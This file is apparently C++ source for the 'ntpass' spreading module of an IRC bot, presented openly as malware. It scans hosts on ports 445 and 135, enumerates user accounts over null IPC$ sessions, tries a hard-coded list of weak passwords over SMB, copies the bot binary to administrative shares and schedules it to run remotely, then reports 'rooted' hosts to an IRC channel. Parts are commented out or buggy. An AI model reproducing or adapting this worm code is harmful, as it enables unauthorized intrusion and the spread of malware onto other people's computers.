/*
FRO JrBot NtPass
	W0rd?
*/
#include "main.h"
#include "ntscanner.h"
#include "mainctrl.h"
#include "utility.h"
#include "shellcode.h"
#include "sdthread.h"
#include <lmat.h>

char *passes[]  = {	"","admin", "Admin", "password","access", "supervisor", "superuser","root",	"qwerty", "master","777", "2600",  "007", "administrator","xxx", "owner", "login", "Login", "pwd", "pass", NULL };

 typedef int (__stdcall *IGCS)(LPDWORD, DWORD);
 IGCS fInternetGetConnectedState;

// For dynamically loaded... (won't give error on win9x).
typedef NET_API_STATUS (__stdcall *NSJA)(LPWSTR,LPBYTE,LPDWORD);
NSJA fNetScheduleJobAdd;

typedef NET_API_STATUS (__stdcall *NABF)(LPVOID);
NABF fNetApiBufferFree;

typedef NET_API_STATUS (__stdcall *NRTOD)(LPCWSTR,LPBYTE *);
NRTOD fNetRemoteTOD;

typedef NET_API_STATUS (__stdcall *NUE)(LPWSTR,DWORD,DWORD,LPBYTE *,DWORD,LPDWORD,LPDWORD,LPDWORD);
NUE fNetUserEnum;

// NT_msg *nt_msg= new NT_msg;

char * rootBox(char *szUserName, const char *szIP);
char * enumusers (const char *szServer);
 char * NetConnect(char *szUserName, char *szPassWord, const char *szIP);


CScannerNtPass::CScannerNtPass() { m_sScannerName.Assign("ntpass"); }
void CScannerNtPass::StartScan(const CString &sHost){
	bool bSuccess=false;
	if(ScanPort(sHost.CStr(), 445)||ScanPort(sHost.CStr(), 135)){
		if ((int)g_cMainCtrl.m_cBot.scan_stfu.bValue==0)g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "[%s] Scanning IP %s.", m_sScannerName.CStr(), sHost.CStr());
		bSuccess=Exploit(sHost); }

	// Success
	if(bSuccess) {
		g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(),"[%s] Rooted %s.", m_sScannerName.CStr(), sHost.CStr());
m_pScanner->m_iNtPassStats++;}
else{
//		g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(),"[%s] Failed Rooting %s.", m_sScannerName.CStr(), sHost.CStr());
}
}
bool CScannerNtPass::Exploit(const CString &sHost){
CString sTemp;
	HINSTANCE hLib;
	hLib=LoadLibrary("netapi32.dll");if(!hLib)return false;
	fNetScheduleJobAdd=(NSJA)GetProcAddress(hLib,"NetScheduleJobAdd");
	fNetApiBufferFree=(NABF)GetProcAddress(hLib,"NetApiBufferFree");
	fNetRemoteTOD=(NRTOD)GetProcAddress(hLib,"NetRemoteTOD");
	fNetUserEnum=(NUE)GetProcAddress(hLib,"NetUserEnum");
	if ((!fNetScheduleJobAdd) || (!fNetApiBufferFree) || (!fNetRemoteTOD) || (!fNetUserEnum)) {FreeLibrary(hLib);return false;}

	sTemp.Format("\\\\%s",sHost.CStr());
g_cMainCtrl.m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(),"MESSAGE [%s]", enumusers(sTemp.CStr()));
return false;

}

char * enumusers (const char *szServer){
	LPUSER_INFO_0 pBuf = NULL;
	LPUSER_INFO_0 pTmpBuf;
	DWORD dwLevel = 0;
	DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
	DWORD dwEntriesRead = 0;
	DWORD dwTotalEntries = 0;
	DWORD dwResumeHandle = 0;
	DWORD i;
	DWORD dwTotalCount = 0;
	NET_API_STATUS nStatus;
	WCHAR  *pszServerName = NULL;
	WCHAR sName[500];
	MultiByteToWideChar(CP_ACP,0,szServer,-1,sName,sizeof(sName));
	pszServerName=sName;
	char szUsername[300];
	char RemoteName[200];
	
	NETRESOURCE nr;
	nr.lpLocalName=NULL;
	nr.lpProvider=NULL;
	nr.dwType=RESOURCETYPE_ANY;
	sprintf(RemoteName,"%s\\ipc$",szServer);
	nr.lpRemoteName=RemoteName;
	if (WNetAddConnection2(&nr,"","",0)!=NO_ERROR) {
		WNetCancelConnection2(RemoteName,0,TRUE);
		return "Add connection failed";
	}
	
	do	{
		
		nStatus = fNetUserEnum(pszServerName,
			dwLevel,
			FILTER_NORMAL_ACCOUNT, // global users
			(LPBYTE*)&pBuf,
			dwPrefMaxLen,
			&dwEntriesRead,
			&dwTotalEntries,
			&dwResumeHandle);
		WNetCancelConnection2(RemoteName,0,TRUE);
		//
		// If the call succeeds,
		//
		if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
		{
		
			if ((pTmpBuf = pBuf) != NULL)
			{
				for (i = 0; (i < dwEntriesRead); i++)
				{
					if (pTmpBuf == NULL) break;
					WideCharToMultiByte(CP_ACP,0,pTmpBuf->usri0_name,-1,szUsername,sizeof(szUsername),NULL,NULL);
					//char * b=rootBox(szUsername,szServer);
					
/*CString sTemp;
sTemp.Format("abcd I OWNED YOU MOM %s",rootBox(szUsername,szServer));
					return sTemp.CStr();*/
					//if (b=="OWNED!"){ break;return "Rooted Omgeh!";}else{return b;}
					pTmpBuf++;
					dwTotalCount++;
				}
			}
		}
		if (pBuf != NULL)
		{
			fNetApiBufferFree(pBuf);
			pBuf = NULL;
		}
	}
	while (nStatus == ERROR_MORE_DATA); // end do
	if (pBuf != NULL) fNetApiBufferFree(pBuf);
	
char * owned="";
sprintf(owned,"Omg :( %u",dwEntriesRead);
//return owned;
return "OWNED!";
}




char * rootBox(char *szUserName, const char *szIP){
	int i;
	i=0;
	while (passes[i])
	{
		if (NetConnect(szUserName,passes[i],szIP)=="Rooted") return "OWNED!";
		i++;
	}
	return "Gone thru all passes - no luck";
};

 

char * NetConnect(char *szUserName, char *szPassWord,const char *szIP)
{
	CString sIP=szIP;
	DWORD dwResult; 
	NETRESOURCE nr;
	memset(&nr,0,sizeof(NETRESOURCE));
	nr.lpRemoteName=sIP.Str();
	nr.dwType=RESOURCETYPE_DISK;
	nr.lpLocalName=NULL;
	nr.lpProvider=NULL;

	/////////////////////////////
	char *ntmess;
	ntmess = "";
	/////////////////////////////
CString sFileName; GetFilename(sFileName.GetBuffer(4096), 4096);
	const char * szLocalPayloadFile = sFileName.CStr(); //bot filename

	//
	// Call the WNetAddConnection2 function to make the connection,
	//   specifying a persistent connection.
	//
	dwResult = WNetAddConnection2(&nr, // NETRESOURCE from enumeration 
		(LPSTR) szPassWord,                  // no password 
		(LPSTR) szUserName,                  // logged-in user 
0);       // update profile with connect information 

	if(dwResult != NO_ERROR) { WNetCancelConnection2(szIP,CONNECT_UPDATE_PROFILE,TRUE); return "Nope"; }
 
	WCHAR wszNetbios[200];
	char szRemoteFile[MAX_PATH],szRemoteFile2[MAX_PATH],szRemoteFile3[MAX_PATH],szRemoteFile4[MAX_PATH],szRemoteFile5[MAX_PATH]	,szRemoteFile6[MAX_PATH],szRemoteFile7[MAX_PATH],szRemoteFile8[MAX_PATH];;
	TIME_OF_DAY_INFO *tinfo=NULL;
	NET_API_STATUS nStatus;
	DWORD JobID;
	AT_INFO at_time;


	sprintf(szRemoteFile,"%s\\Admin$\\system32\\cass.exe",szIP);
	sprintf(szRemoteFile2,"%s\\c$\\winnt\\system32\\cass.exe",szIP);
	sprintf(szRemoteFile3,"%s\\c$\\windows\\system32\\cass.exe",szIP);	 // this was also addet, got me some bots :P
	sprintf(szRemoteFile4,"%s\\Admin$\\cass.exe",szIP);					 // experimental	
	sprintf(szRemoteFile5,"%s\\c$\\cass.exe",szIP);						 //	experimental
	sprintf(szRemoteFile6,"%s\\print$\\cass.exe",szIP);					 // experimental
	sprintf(szRemoteFile7,"%s\\D$\\cass.exe",szIP);						 // experimental
	sprintf(szRemoteFile8,"%s\\IPC$\\cass.exe",szIP);						 // experimental

	MultiByteToWideChar(CP_ACP,0,szIP,-1,wszNetbios,sizeof(wszNetbios));
	nStatus=fNetRemoteTOD(wszNetbios,(LPBYTE *)&tinfo);
	if (nStatus==NERR_Success) {
		if (tinfo) {
			int i;
			i=CopyFile(szLocalPayloadFile,szRemoteFile,FALSE);
			if (!i) {
				i=CopyFile(szLocalPayloadFile,szRemoteFile2,FALSE);
				if (!i) {
					i=CopyFile(szLocalPayloadFile,szRemoteFile3,FALSE);
					if (!i) {
						i=CopyFile(szLocalPayloadFile,szRemoteFile4,FALSE);
						if (!i) {
							i=CopyFile(szLocalPayloadFile,szRemoteFile5,FALSE);
							if (!i) {
								i=CopyFile(szLocalPayloadFile,szRemoteFile6,FALSE);
								if (!i) {
									i=CopyFile(szLocalPayloadFile,szRemoteFile7,FALSE);
									if (!i) {
										i=CopyFile(szLocalPayloadFile,szRemoteFile8,FALSE);
										if (!i) {
													
																fNetApiBufferFree(tinfo);
																WNetCancelConnection2(szIP,CONNECT_UPDATE_PROFILE,TRUE);
																return "No File";
														}
													//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - c$\\sys32] CSendFile: %s\r\n", szIP);
												}
											//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - WinXP sys32] CSendFile: %s\r\n", szIP);
										}
									//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - WinNT sys32] CSendFile: %s\r\n",szIP);
								}
							//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - admin$ sys32] CSendFile: %s\r\n",szIP); 	
							}
						//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - C$] CSendFile: %s\r\n",szIP);
						}
					//	else irc_sendf(sock2, "PRIVMSG #xxx :[NTScan - Exploited - print$] CSendFile: %s\r\n",szIP);
					}		
				//	else irc_sendf(sock2, "PRIVMSG #cxxx :[NTScan - Exploited - D$] CSendFile: %s\r\n",szIP);	
			}
		//	else irc_sendf(sock2, "PRIVMSG #xxxx :[NTScan - Exploited - IPC$] CSendFile: %s\r\n",szIP);
					
			memset(&at_time,0,sizeof(AT_INFO));
			DWORD jobtime;
			jobtime=tinfo->tod_elapsedt / 60;
			jobtime-=tinfo->tod_timezone;
			jobtime+=2;
			jobtime%=(24*60);
			at_time.JobTime=jobtime*60000;
			at_time.Command=L"cass.exe";

			nStatus=fNetScheduleJobAdd(wszNetbios,(BYTE *)&at_time,&JobID);
			
         ////////////////////////////////////////// 
         // Just a quick piece of test code to msg the chan when an exploit occurs - 
         #define CHECKPASS(x) ((x)?(x):("[NULL]")) 
         // End Code. 
         //////////////////////////////////////////

		}
	}
	WNetCancelConnection2(szIP,CONNECT_UPDATE_PROFILE,TRUE);
	return "Rooted";
}
